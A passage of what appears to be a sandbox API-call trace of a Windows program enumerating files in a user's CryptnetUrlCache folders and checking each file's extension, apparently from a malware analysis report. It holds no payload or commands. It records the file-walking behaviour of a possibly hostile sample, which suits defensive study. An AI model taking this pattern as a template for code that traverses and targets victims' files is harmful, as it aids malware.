HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0272.307] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0272.307] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0272.307] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0272.307] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0272.307] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0272.307] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0272.308] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0272.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0272.309] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0272.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0272.310] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0272.310] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0272.310] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0272.310] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.311] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.311] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.311] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.311] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.311] PathFindFileNameW (pszPath="") returned="" [0272.311] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.317] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, 